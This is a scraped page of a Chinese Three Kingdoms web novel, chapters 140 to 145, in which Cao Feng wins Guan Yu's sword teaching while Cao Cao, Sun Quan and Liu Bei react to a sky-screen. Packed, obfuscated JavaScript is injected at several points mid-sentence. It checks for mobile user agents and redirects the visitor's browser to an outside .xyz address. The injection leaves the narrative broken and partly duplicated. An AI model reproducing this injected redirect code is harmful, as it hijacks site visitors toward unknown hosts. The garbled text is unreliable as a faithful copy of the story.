l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700082|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“正好我在城西有处私宅,虽然不算豪华,但也干净整洁,房间也多。而且位置偏僻,很安静,绝对不会有人打扰关将军清静。”】 曹风心道:“当然除了我。” 这个院子,就是曹风让王五找的地方。 关羽的表情阴晴不定。他沉思片刻,还是不太信任这个突然出现的年轻人。 【就在他要开口拒绝时,身后的房门“吱呀”一声打开了。】 【两位美丽的妇人款步而出。走在前面的糜夫人肤若凝脂,眉目如画。】 【稍后的甘夫人看上去更年轻些,但举手投足间自有一番成熟的风韵。她们虽然穿着朴素,却掩不住天生的贵气。】 【见到她们,关羽立即低头行礼,声音恭敬:“嫂嫂。”】 【曹风也快步上前,深深地鞠了一躬:“晚辈曹脩,见过两位夫人。”】 【他低着头,没有直视,礼数很周全。】 【甘夫人先开口,“二叔,这里确实蚊虫太多,我和姐姐几乎没合眼。白天又在墙角见到了许多老鼠。”她语气顿了顿,又道,“你在外面过夜也很辛苦。不如……”】 【糜夫人接过话茬,她的声音更加沉稳:“这位小兄弟一片好意,我们不如就去看看吧。若是不合适,再回来也不迟。”】 【关羽这才点了点头:“就依两位嫂嫂所言。”】 【当几人收拾好简单的行李,准备从正门离开时,糜夫人却突然拦住了大家。】 她心思细腻,早就注意到曹风欲言又止的样子。 【“且慢。”糜夫人轻声说道,“如果从正门走,肯定会被巡逻的士兵发现。”】 【她又看向曹风,担忧道:“曹操若是知道曹脩来见我们,还提供了住处,一定会重罚他。我们不能连累恩人。”】 【甘夫人恍然大悟,连连点头:“姐姐说得是。那我们该如何出去?”】 【“不如翻墙出去。”糜夫人说着,指着不远处的一个木梯。】 【曹风感激道:“多谢夫人为我着想!我知道一条小路,能避开巡逻的士兵。】 第140章 曹操:我的云长呢?!!!!! 【第二天,清晨。】 【天刚蒙蒙亮,曹操就迫不及待地带着一众谋士武将来到关羽暂住的院落。】 【他脸上带着掩饰不住的喜色,脚步都比平时轻快了几分。】 昨夜他特意将关羽和刘备的两位夫人安排在同一间屋子,这个看似疏忽的安排,实际上是他精心设计的一个局。 曹操向来以多疑著称,虽然对关羽的武艺和才能十分欣赏,但始终对其是否真心归顺心存疑虑。 这次安排,他有三个目的。 第一,这是对关羽人品最直接的考验。 曹操深知关羽重义气,但更想知道这份义气到底有多深。 如果关羽对刘备的妻妾有丝毫不敬,就说明他的忠义不过是装出来的,这样的人不值得重用。 但如果关羽能恪守礼法,那就证明他确实是个值得信任的人。 第二,这是离间关羽和刘备关系的最佳机会。 曹操盘算着,只要制造出“关羽与刘备妻妾共处一室”的既成事实,再让这个消息悄悄传开…… 到时候就算关羽想回到刘备身边,刘备那边也难免会起疑心。 既能断了关羽的后路,又能破坏刘备集团的内部团结。 第三,这也是向关羽示好的绝佳机会。 表面上这是给关羽的特殊优待,实际上却是变相的监控。 既能让关羽感受到自己的信任,又能就近观察他的一举一动。曹操越想越觉得这个计划太妙了,昨晚甚至兴奋得辗转难眠。 【然而,当曹操满怀期待地推开院门时,院子里静悄悄的。】 【屋内也空无一人!】 【“云长?云长何在?”曹操的声音陡然提高,脸上的笑容瞬间凝固。】 【他快步在院子里转了一圈,却连个人影都没找到。】 【曹操猛地一跺脚,转身对着身后面面相觑的文臣武将,摊手道:“我的云长不见了!定是连夜逃走,去找他那刘玄德了!”】 【曹操的声音里带着明显的慌乱和愤怒。】 【曹操的目光锁定在程昱身上,埋怨道:“仲德!这个主意可是你出的。现在云长人跑了,你得负责给我找回来!”】 【程昱闻言一愣,心里暗暗叫苦。】 这个计策明明是三个人一起商定的。自己、郭嘉、还有曹操。 怎么出了事就全推到自己头上了? 更冤枉的是,昨晚负责监视关羽的明明是郭嘉的校事府,要问责也该找郭嘉才对。但看着曹操阴沉的脸色,程昱只能把到嘴边的话又咽了回去。 站在一旁的郭嘉此时也是心虚。 昨晚他确实失职了。 下邳城新来了一批河北甄家的美酒,他一时没忍住多喝了几杯,后来又服了五石散,结果昏睡到现在才醒。 以至于他没有关注校事府对关羽监控的情况。 同时,郭嘉心中一紧。 难道是之前救走貂蝉和吕玲绮的神秘组织,这次又出手救了关羽和刘备的两位夫人? 【“明公息怒,”郭嘉稳住心神,拱手道,“城门早已关闭,关羽定然还在城中。属下这就……”】 【就在这这时,院门外突然传来一阵脚步声。】 【众人回头望去,只见关羽高大的身影正大步走来。】 【“云长!”曹操脸上的阴霾一扫而空,三步并作两步迎上前去,又对自己带来的文臣武将笑道:“我就说嘛,云长怎会弃我而去?”】 众人面面相觑,心里都在嘀咕。 刚才明明是你自己说关羽逃走了,我们可什么都没说啊! 【郭嘉反应最快,立即附和道:“明公慧眼如炬,果然最信任和了解关将军。”】 【曹操满意地瞥了郭嘉一眼,心想还是奉孝最懂自己的心思。】 【曹操亲**拉住关羽的手,关切地问道:“云长这是去哪了?让我好生担心。”】 【关羽甩开曹操的手,只是冷冷地拱了拱手,一句话也没说。】 显然,他对曹操昨夜的安排十分不满。 【曹操见状,立即换上一副懊恼的表情:“都怪那个安排住宿的官员办事不力!怎么能让云长和两位夫人挤在一间屋子里呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704096|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”】 【“这成何体统!”说着,曹操怒喝一声:“来人!把那个不长眼的家伙拖下去,重打二十军棍!”】 【打完人后,曹操又满脸愧疚地对关羽说:“这也怪我,昨日军务繁忙,没能亲自过问此事。这样吧,云长不如带着两位夫人搬到我的府上住,这样我也好……”】 【“不必了。”关羽直接打断曹操的话,“明公军务繁忙,关某不便打扰。我已经另寻住处,就不劳费心了。”】 【曹操故作恍然:“哦?那云长现在住在何处?我这就派人送些日常用品过去,尤其是两位夫人,可不能委屈了。”】 【关羽怎会信曹操的鬼话?他态度坚决地回绝:“多谢明公美意,不过关某在城中还算是熟悉,一应物品都已备齐。”】 【说完,关羽抱拳行礼:“今日前来,只为向明公请安。”】 【“既然你公务繁忙,关某就先告辞了。每日清晨,我都会准时来府上拜见。”】 【不等曹操回应,关羽已经转身大步离去。】 关羽向来重视名声,生怕曹操以为他不告而别,因此特意前来当面辞行。他行事光明磊落,即便要走,也要走得堂堂正正。 【“云长!”曹操急忙伸手想要挽留,但关羽的背影已经消失在院门外。】 【他只能对着空气喊道:“若有什么需要,尽管来找我啊!”】 【待关羽走远,曹操立即朝郭嘉使了个眼色。】 【郭嘉会意,悄悄退出人群,快步离去。】 曹操定然是让他尽快查清关羽的新住处。 ……… 【关羽回到新住处时,意外地发现院子里多了个人。那个自称是曹脩的年轻人正在院中与两位嫂嫂有说有笑。】 【多日不见笑容的甘、糜二位夫人,此刻脸上终于带着久违的笑意。】 看到这一幕,关羽心中既感欣慰,又升起一丝警惕。 这个曹脩身份本就蹊跷,如今表现得又如此殷勤,恐怕不单单是出于对自己的仰慕,必定另有所图…… 但他又图自己什么呢? 第141章 成功说服关羽 【关羽缓缓捋过他那标志性的长须,丹凤眼微微眯起。】 【目光在曹风身上来回扫视过后,他沉声问道:“小兄弟,此番前来,可有何事?”】 【曹风脸上带着诚恳的笑容,指了指院子内角落处的推车:“给两位婶婶送了些日常用品和换洗衣物。给关将军你带了几坛我亲自酿的酒。”】 【关羽顺着曹风手指的方向看去。】 【推车上堆满了精致的丝绸衣物、上等的胭脂水粉。】 【推车轱辘处,果然还有几坛酒。】 【不过听到曹风对两个夫人用“婶婶”这个称呼,关羽眉头微不可察地皱了一下。】 这个年轻人倒是会套近乎,竟然用这么亲昵的称呼。 关羽此刻更加确信自己之前的猜测。看来此人来意绝不简单,必定另有所图。 【果然,只见曹风突然收起笑容,露出一副苦恼的表情:“不瞒关将军,我自小痴迷武学。可惜无人指点,全靠自己摸索。”】 【说着,曹风整了整衣冠,郑重其事地躬身行礼:“在下仰慕将**法已久,恳请关将军收我为徒!”】 曹风心里很清楚,留给他学习刀法的时间不多了。 以郭嘉的能耐,很快就会找到这里。 他必须抓紧时间搞定关羽。 【关羽不动声色地侧身避开这个大礼,语气坚决:“恐怕要让小兄弟失望了。关某的刀法,从不外传。”】 【“唉!”曹风长叹一声,脸上写满遗憾:“看来是我福缘不够。不过能亲眼见到关将军,已是很满意了。”】 曹风对关羽的性格了如指掌,知道单凭自己再怎么说,也不可能说动这位高傲的关二爷传授刀法。 所以,他早就准备好了第二套方案——关键就在两位夫人身上。 【果不其然,一直静静旁观的甘夫人突然起身,向关羽盈盈一拜。】 【关羽连忙后退两步,低头拱手:“嫂嫂这是为何?关某实在当不起如此大礼。”】 【甘夫人轻启朱唇,声音温柔道:“我看曹脩这孩子心地纯善,又知书达理。二叔不如就指点他几招,可好?”】 【关羽面露难色:“我虽暂居曹营,心却始终追随兄长。曹脩毕竟是曹操的人,我若传授他武艺,岂不是帮兄长培养敌人吗?”】 这时,糜夫人也站了起来。】 【她接过话头:“二叔不必为此多虑。此事我和甘姐姐自会向夫君解释清楚。还望二叔成全这孩子的心愿。”】 【两位夫人你一言我一语,说得关羽进退两难。】 【关羽沉吟片刻,目光瞟见院外三十步开外的一棵三人合抱粗的柳树。】 【柳树枝干粗壮,枝叶茂密,最显眼处有一根小臂粗细的枝干。】 他此时心中已有计较。 【关羽指那棵柳树,对曹风道:“你之前说在曹操麾下担任马弓手?”】 【曹风顺着关羽手指的方向望去,猜到了关羽的意图:“将军是要考校我的箭术?”】 【关羽微微颔首:“你若能在此处射中那根粗壮的枝干,我便破例指点你几招。”】 他心想:以那个距离和枝干的粗细,即便是我见过最擅长射箭的武将,也未必能十拿九稳。这个年轻人若是知难而退最好。 【可领关羽感到意外的是,曹风却面露喜色:“一言为定!我这就去取弓箭来!”】 【不多时,曹风手持一张长弓回到院中。】 曹风站在关羽身侧,突然指着柳树更高处一根更细的树枝:“我要射那根!”】 【甘夫人和糜夫人不约而同地站起身,紧张地望着远处的柳树。】 【不知为何,她们对这个年轻人有着莫名的好感。】 特别是甘夫人,清晨曹风来看望她们时,曾安慰她说:“夫人如此心善,老天定会保佑,将来必能为刘皇叔诞下孝顺的麟儿。” 这句话说到了她心坎里,让她对这个后辈更加喜爱。 【关羽斜睨了曹风一眼,心中有些不悦:“这小子倒是会逞能!那根树枝比方才指定的还要细上许多,距离也更远。”】 不过他并未出言阻止,若是曹风失手,反倒省去了自己的麻烦。 【只见曹风深吸一口气,快速拉开弓弦。动作行云流水,显然经过长期练习。】 【弓弦渐渐绷紧,满弓时……】 【“着!”】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹操:不可能,绝对不可能! 【关羽只教了曹风半天的刀法,可就在这短短的时间里,曹风竟然已经摸到了关羽刀法的精髓。】 一向高傲的关羽也不得不承认,曹风的武学天赋确实惊人。 此刻,他终于相信,这世上真的存在天才。 关羽越是欣赏曹风,心里就越觉得惋惜。 因为他是曹操的人。 经过几番内心挣扎,关羽最终还是决定做一件不够仗义的事:他要反过来挖曹操的墙角! 关羽想得明白。曹操想招募自己,其实是在挖大哥的墙角。既然如此,自己也可以反过来挖曹操的墙角。 【太阳下山后,曹风坐在院子中央的篝火旁烤着羊肉串。他拿起几串烤好的递给关羽:“关将军,再来几串?”】 【关羽摆摆手:“关某已经饱了。”】 【“那我不客气了!”曹风咧嘴一笑,抓起一整把肉串就往嘴里塞。】 【见到曹风嘴上有少许油渍,甘夫人笑着递过手帕:“慢点吃,当心噎着。”】 【当曹风吃饱后,关羽忽然沉声道:“小兄弟,昨天听你说,你在曹营并不得志。我大哥刘玄德最重贤才,以你的本事和为人,必能大展拳脚。何必在曹操帐下,委屈做个马弓手?”】 【曹风闻言一愣。】 他没想到,向来都是自己挖别人的墙角,现在竟轮到自己被人挖了。更让他意外的是,来挖他的,还是高傲的关羽。 【曹风擦去嘴角的油渍,郑重道:“多谢关将军厚爱,但脩有大仇在身,眼下恐怕不能与将军同行。”】 【关羽没有再劝。】 毕竟他生性高傲,挖人墙角这种事,他这辈子也就做这么一次。 眼前的曹风,勉强算他半个徒弟。若是别人敢这样拒绝他,他定会觉得对方不识好歹,心里难免恼火。可对曹风,他却只有惋惜。 【甘夫人和糜夫人同样觉得可惜,但她们都没开口。】 这乱世之中,女人家既没资格,也没权利过问这种事。 【曹风见气氛有些僵,便笑着打破沉默:“来日方长,定有机会再与关将军相见。授艺之恩,脩必当报答!”】 【关羽轻叹一声:“再见面时,你我恐怕就是敌人了。”】 【曹风猛灌了一口烈酒,大笑道:“大丈夫在世,当快意恩仇!若是命运捉弄,真有那一天,关将军到时候可不要手下留情!”】 【关羽没有作声,但那双丹凤眼中流露出的神色,是对曹风更多的赏识。原本因身在曹营,又要护送两位嫂嫂,关羽一直滴酒不沾。可眼下气氛到了这份上,他索性拍开酒坛,陪上一碗!】 【曹风转向两位夫人,抱拳郑重道:“两位婶婶的恩情,脩也必当报答!”】 这所谓的恩情,自然是两位夫人帮忙劝说关羽传授刀法之情。 【夜色已深,曹风这才起身告辞。】 【走出很远后,曹风又忍不住回头,深深望了一眼关羽居住的院落。】 他知道,这恐怕是他与关羽在曹营中最后一次相见了。 过了今天,他必须彻底避开关羽他们。以郭嘉的敏锐,稍有不慎就会露出破绽。 天幕画面快进到第二天清晨。 【未等关羽前来曹府,曹操已在郭嘉引路下,径直来到关羽居住的院落。】 【就在曹操与关羽寒暄之际,郭嘉忽然轻轻抽动鼻子。】 【院中飘散着若有若无的酒香,而这味道,他有些熟悉。】 【郭嘉努力回想,突然眯起眼睛——他想起了这酒香的来源。】 当初在曹风那里喝酒时,闻到的就是这种酒香。 【郭嘉又暗中搜寻其他线索,却一无所获。】 如果不是他平时爱喝酒,再加上鼻子灵敏,恐怕连这唯一的酒香线索都会错过。 郭嘉心头猛地一紧,一个荒谬的念头浮上心头——那个一直与自己作对的神秘组织,难道和三公子曹风有关? 可曹风明明是个纨绔子弟,怎么可能有这种本事? 等等…… 郭嘉突然想到了自己。 他表面上也是个放荡不羁的人,可实际能力却极强,而且许多事情都隐藏得很深——比如他执掌的校事府。 难道曹风和自己是一类人? 【郭嘉嘴角微微扬起一丝难以察觉的笑意。】 事情开始变得有趣了! 【回府的路上,曹操心情很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【“况且云长为人心高气傲,连我都难与他深交,更别说那个逆了!”】 【“绝不可能!”曹操大笑着摆手。】 第143章 曹操:我那么大的谋士团,就这么散了! 【曹操话音刚落,一阵急促的马蹄声便在背后响起。】 【有人能在城中骑马,定然是有大事发生了。曹操和郭嘉不约而同的转身看去。】 【只见马背上的士兵风尘仆仆,正拼命抽打鞭子,神色焦急。】 【那士兵见到曹操后,慌忙翻身下马。】 【因为动作太急,他差点摔倒。他声音嘶哑急促道:“明公!急报!”随即把书信塞给了拦在前面的曹操侍卫。】 【侍卫快步将信件呈到曹操面前。】 【曹操接过竹简,快速扫了一眼,脸色顿时阴晴不定。】 【他沉默片刻,随手将竹简递给一旁的郭嘉。】 【郭嘉瞥见简上“袁绍”二字,立刻明白北方的战事终于要开始了。】 郭嘉暗自叹了口气,眼下他只能先放下调查曹风的事。 与袁绍的决战,直接关系到曹操集团的存亡。这一战若败,数年基业将毁于一旦。此刻郭嘉必须把全部精力都放在这场战争上。 【“传令下去,”曹操声音低沉而有力,“全军即刻拔营,粮草辎重先行。”】 【曹操想了想,又对身旁的张辽道:“文远,你亲自去请云长来我府上议事。”】 【三日后,曹军主力从下邳城返回许都,全力备战袁绍。】 官渡之战,即将打响!1 这场决定中原命运的战役,将会影响历史的走向。 天幕画面到此结束…… 魏王府。 当曹操从天幕中看到曹风从袁术那里获得玉玺时,脸色顿时阴沉下来。 曹操低声自语:“外盗易阻,家贼难防。” 当初歼灭袁术的最大战果,除了地盘,就是这传国玉玺。 为了寻找这件象征皇权的宝物,他派出了数十支密探,甚至校事府和摸金校尉都派了出去。 这些人几乎翻遍了寿春城的每一寸土地。费尽心思搜寻的结果,却一无所获。 曹操清楚地记得,自己当时指着袁术的尸首破口大骂:“到死都带着玉玺走,这皇帝梦还没做醒呢!” 如今看来,却是他骂错了人。 “好一个逆子!”曹操从牙缝里挤出这几个字。 他实在想不通,为什么曹风每次都能抢先一步,夺走他想要的东西。就像下棋时被人看穿所有心思,每一步都被对方完美克制。 曹风摆明了要和他作对到底,更可气的是,曹风似乎总能预判他的心思,每次挑衅都恰到好处。 曹植看到玉玺后,兴奋地指着天幕喊道:“传国玉玺!三哥太厉害了!” 曹植脸上写满崇拜,完全没注意到曹操瞬间铁青的脸色。 曹操正在气头上,正愁无处发泄。偏偏曹植这个“倒霉孩子”就在曹操眼皮底下。 而且曹植每次犯错都特别会挑时候,专赶曹操憋着火没处撒的时候撞上来。 曹操抓起一个竹简砸向曹植,怒喝道:“曹风那个逆子得了传国玉玺,你高兴什么?!” 曹植张了张嘴想辩解,却被曹操的怒容吓得不敢出声。 他委屈地低下头,心道:三哥待我比亲兄弟曹丕待我还好。再说都是曹家人,三哥得到玉玺对家族总是好事。哪有父亲整天和儿子斗气的? 其实曹植与曹操的恩怨由来已久。 自从曹操杀了曹植的好友杨修,父子间就生了嫌隙。 后来卞夫人被关进大狱,更让曹植心生不满。 见曹植这副模样,曹操即生气,又无奈。他原本想要曹植继承大业,现在却犹豫了。 曹操担心刚传位,曹植就会投靠曹风。 曹操狠狠瞪了曹植一眼,转头继续观看天幕。 “孙策?!”曹操猛地直起身子。 这个曾经令他头疼的对手,居然也被曹风救活了! 曹操突然的喊声吓得曹植一哆嗦。 曹植从未见过父亲如此失态,心中暗叹:堂堂魏王竟被三哥搞得如此失态。看来这三哥的本事,远比我知道的还要强。 而曹风为了救活并拐走孙策所使出的种种手段,更是让曹植目瞪口呆。 曹操看到曹风将失忆的孙策送往边疆,这才稍稍安心。 若孙策此刻现身,足以改变天下格局。 以孙策曾经在江东的威望,振臂一呼就能召集旧部。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714429|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然孙权这些年在江东推行“去孙策化”,试图抹除兄长的影响力,但像周瑜这样的死忠依然存在。这些老将表面上服从孙权,心中却只念着旧主。 通过天幕,曹操终于对曹风有了更深刻的了解。他断定这些年曹风必定在暗中影响着失忆的孙策。以孙策重情义的性格,和曹风的精明…… 整个江东迟早会落入曹风手中! 就算江东不归曹风,孙策也必定会成为他最忠实的盟友。 想到这里,曹操心里一沉。他摸不准曹风什么时候会打出孙策这张牌。未知的威胁,才最让人防不胜防。 曹操下意识想找身边的谋士商议。 可原本站满顶尖谋士的位置,如今空无一人。 荀彧的心早就离他远去。那个曾被誉为“王佐之才”的男人,在听闻他要称魏王时,最后一次跪谏。荀彧当时的眼神混合着失望与决绝。 荀攸远在陈留,分身乏术。这位向来算无遗策的谋士,此刻正被田丰和沮授缠得脱不开身。 最信任的军师祭酒郭嘉早已病逝。每当想起他,曹操心头就隐隐作痛。那张带着病容却永远从容自信的面孔,再也见不到了。 贾诩、程昱转投曹风,这两个老狐狸的背叛最让他难以接受。 就连刘晔也叛离了。这个擅长器械的奇才,如今正在为敌人打造攻城利器。 董昭自虎牢关失守后便下落不明。 而**、钟繇自从帮他称王后,就像突然变迟钝了。两人的才智似乎全耗在了称王这件事上,如今已是燃尽了。 曹操长叹一声,前所未有的孤独感骤然袭来。这位纵横天下的枭雄,此刻竟也感到一丝迷茫。 曹操轻声道:“宁叫我负天下人,休叫天下人负我。” 曾经的豪言壮语,如今听来却有些讽刺。 曹操突然自问:“难道我真的错了?” 不!我曹操怎么会错! 错的——只能是他们!尤其是那个逆子曹风! 天下人负我,我就杀尽天下人! 曹操猛然抬头,死死盯着天幕!他倒要看看,曹风这个逆子还能折腾出什么花样来! 第144章 曹植:三哥,救我,快救救我! 曹风果然没让曹操失望,这次又折腾出新花样来了! 只是这手段却是令人啼笑皆非。 曹风竟然利用蚊虫老鼠逼得关云长不得不搬家,借此避开曹操监视关羽的视线。 “哼!”曹操嘴上依旧强硬:“这个逆子,净会耍些歪门邪道的把戏。” 曹操心里却懊悔不已。 为什么自己的聪明才智,大部分都遗传给了曹风这个逆子? 除了早亡的曹昂,和偷偷跑去找曹风的曹冲,其他几个儿子都只会耍些小聪明。 对了,还有个大聪明! 聪明过头的曹丕,现在正被关在大牢里。 曹操又看了一眼曹植,这个继承了他全部诗词才华的儿子。这个儿子平日里高谈阔论,头头是道,可一到关键时刻,却总是掉链子。 发现曹操正看着自己,曹植这次学乖了,紧紧闭着嘴不说话。可他那双盯着天幕中曹风的眼睛,活脱脱就是个狂热的小迷弟。 可曹植的表情和小心思哪能瞒过曹操? 曹操气得闷哼一声,随后又自我安慰道:“不能生气,生气伤身体。” 可接下来…… 当看到关羽竟然倾囊相授,认真教导曹风刀法时,曹操终于忍不住了。 “云长啊,你竟然是这样的云长!我对你那么好!可是你呢,你却把‘报答’全用在我那个逆子曹风身上了?!” “可恨!实在太可恨了!” 曹操气昏了头,竟忘了不久前华容道上,关羽才放了他一条生路。 曹操猛地转头看向曹植。 曹植吓得结结巴巴地说:“可、可恨!三哥确实可恨!” 见曹植这么说,曹操才没把火撒在他身上。 但曹操不知道的是,曹植心里还补了一句:“可恨的三哥,为什么不把我也带去凉州。三哥,救救我,快救救我啊!” 以前每当曹丕和他的党羽刁难曹植时,总是曹风出面解围。久而久之,曹植一遇到麻烦,就下意识想找三哥寻求庇护。 也因此,曹植遭受到了许多人的嘲笑。 以前每当曹丕和他的党羽刁难曹植时,总是曹风出面解围。久而久之,曹植一遇到麻烦,就下意识想找三哥帮忙。 也正因如此,曹植没少被人嘲笑。 可每次曹风都会找上门去,把那些嘲笑曹植的人再揍一顿,还霸气道:“弟弟找哥哥保护,有什么可笑的?当年我大哥曹昂也是这么护着我的!你们就是嫉妒我弟,没我这样的哥哥!” 想到这里,曹植心中更加委屈,“好好的一个家,就这么散了,都是你这个当爹的责任。” 天幕即将结束时。曹操悔恨交加:“早该听奉孝的话,彻底查查这个逆子!居然被他装出来的废物样子给骗了!” 建业城内。 孙权那双碧绿的眼睛死死盯着天幕,目光始终锁定在曹风手中的传国玉玺上! 这个让无数人拼上性命也要得到的传国玉玺,居然被曹风如此轻易就拿到了! 孙权既愤怒又不甘,碧绿的眼珠都泛起了血色。 当年他父亲孙坚就是为了这块玉玺丧命。 后来孙策为了换取兵权,又把它交给了袁术。 孙权脸上浮现狂热的神情。 这玉玺当年是孙策抵押出去的,要是他能从曹风手里抢回来,就证明自己比孙策更强,更有资格坐镇江东! 那些效忠孙策的旧部和士族,到时候就无话可说了。 想到这里,孙权炽热的目光落在地图上的合肥——这将是他超越孙策的第一步! 孙权一直活在孙策的阴影下。 从小到大,所有人的目光都被孙策吸引,根本没人注意他。 孙权很清楚,要不是孙策临终有交代,周瑜他们根本不会全力辅佐自己。更可能的是,他们会扶持孙策的儿子孙绍继承江东基业。 尤其是张昭,最可恨! 每次向他请教对策,开口闭口就是劝降! 孙策活着的时候,他怎么不劝孙策投降?! 孙权认定张昭就是看不起自己,只认旧主孙策! 就在孙权念叨大哥孙策时,孙策竟然出现在天幕画面中。 看到接下来的画面,孙权既震惊又恐慌。 他大哥孙策,居然还活着!被曹风给救活了! 孙权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722285|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中震惊不已。 他不仅震惊于曹风能救活孙策,更震惊于他竟然能瞒过所有人,把已经“**”的孙策偷偷带走! 孙权暗自庆幸,还好其他人都被他派去筹备军务了。最让他忌惮的周瑜,也带兵去征讨西川了。 孙权此时惶恐不安。 要是让部下们看到天幕内容,知道孙策还活着,他的地位将受到严重威胁。 这些年他在东吴的经营,也会分崩离析! 当天幕播放孙策被救醒后的画面时,孙权暗自松了一口气。 幸好孙策失忆了! 这样就算日后孙策突然出现,孙权也能推说是曹风找人假扮的。毕竟孙策记不得以前的事,没法证明自己的身份。 孙策还活着的消息,让孙权彻底没心思继续看天幕。 他决定明天就亲自出征合肥。如果此战告捷,他在江东的声望将达到前所未有的高度,孙策的威胁就会小很多。 但孙权也明白,周瑜是个例外。 他是孙策的结拜兄弟,死忠分子。 孙权眼中寒光一闪,必须加快削弱周瑜兵权的步伐。他暗自期盼,周瑜最好死在征讨西川的路上,这样能省去他很多麻烦。 此时的周瑜正率军在征讨西川的路上。他突然感到胸口一阵剧烈疼痛,猛地吐出一口鲜血,身形不稳,险些从马上摔下来。 幸好一旁的副将丁奉及时扶住了他。 孙权不知是有意还是无意,把原本与周瑜配合默契的将领全都留在了建业城,说是为他亲征合肥做准备。 最终,他只同意让丁奉——这个刚刚崭露头角的年轻将领,跟随周瑜出征西川。 “大都督……大都督!”丁奉见周瑜面色痛苦,双眼已经紧闭,连忙又呼喊道,“医官!医官快来!” 周瑜强撑着睁开眼,一把抓住丁奉的手,声音低沉道。 “承渊,别声张……免得动摇军心……” “背山扎营……先稳住阵脚……” 话未说完,周瑜又咳出一口鲜血,意识逐渐模糊,嘴唇微微颤抖着,仿佛在说梦话: “我好像……看见伯符大哥了……” 第145章 张飞:那年诸侯看我们哥俩如喽啰 荆州,南郡。 刘备和他的心腹们,刚刚在议事厅会见完之前说什么也不肯投效他的老将黄忠。 黄忠快言快语,开门见山地直接和众人说,曹风杀了他的恩人。如果刘备愿意借兵让他报仇,他愿意投效刘备麾下。 不过,黄忠听从了刘封的建议,在整个过程中,都没有说出恩人曹脩的名字,而是随便编了个名字代替。 诸葛亮不露声色的仔细观察黄忠的神情和言辞后,断定他与曹风确实有深仇大恨。 那种愤恨的情绪,是装不出来的。 从此也可以看出,黄忠是个知恩图报的人。 刘备这才放下心来,同意让黄忠领兵攻打上庸。同时,他对这位知恩图报的老将更加信任和敬佩。 黄忠离开后,原本消失的天幕画面,突然又在议事堂上方浮现。天幕播放的依旧是曹风的高光时刻。 张飞一边指着天幕,一边放声大笑:“可算来了!俺倒要看看,那曹风是不是又把他老子曹操给坑惨喽!” 刘备笑着虚点张飞:“翼德,你啊……” 可当天幕继续播放时,刘备的笑容突然僵在了脸上。 只见天幕中:曹风手捧传国玉玺,反复端详。那炽热的目光,仿佛在宣告:这传国玉玺已是他的战利品,他的私有之物。 刘备猛地拍案而起,怒指天幕中:“曹风竟敢私藏传国玉玺,竟不归还陛下!”他眼中满是怒火,声音陡然提高:“他意欲何为?莫非要做第二个袁公路?!此子可恨之极,人人得而诛之!” 诸葛亮摇晃着羽扇突然一顿,向刘备献策:“主公可将曹风私藏传国玉玺之事公告天下,同时上表天子命其归还。依亮之见,曹风必定不肯交出玉玺,届时我们便有正当理由讨伐他。” 刘备这才重新坐下,点头道:“就按军师说的办。命黄老将军与刘封立即发兵,攻打曹风新占的上庸。曹风比那曹操还要嚣张,还要可恶!真是曹贼生曹贼!” 就在此时,孙策的身影突然出现在天幕当中。 刘备心头一紧,突然想起之前天幕播放的画面——那些本该死去的人,只要曹风一出现,全被他救了下来。 刘备惊疑道:“难道……连孙伯符也被曹风救活了?!” 诸葛亮感叹道:“这曹风聪慧如妖,胆量大,行事又不按常理,实在让人捉摸不透。” 帐中众人面面相觑,心中疑惑更甚,只得继续紧盯天幕。 这些人,要数庞统看得最为专注。这是他第一次观看天幕内容。他心中暗道:“这曹风究竟有什么能耐,竟能让卧龙诸葛亮都如此惊叹?” 果然如刘备所料,孙策确实被曹风救活,但却失去了记忆。 众人陷入沉默,各有所思。 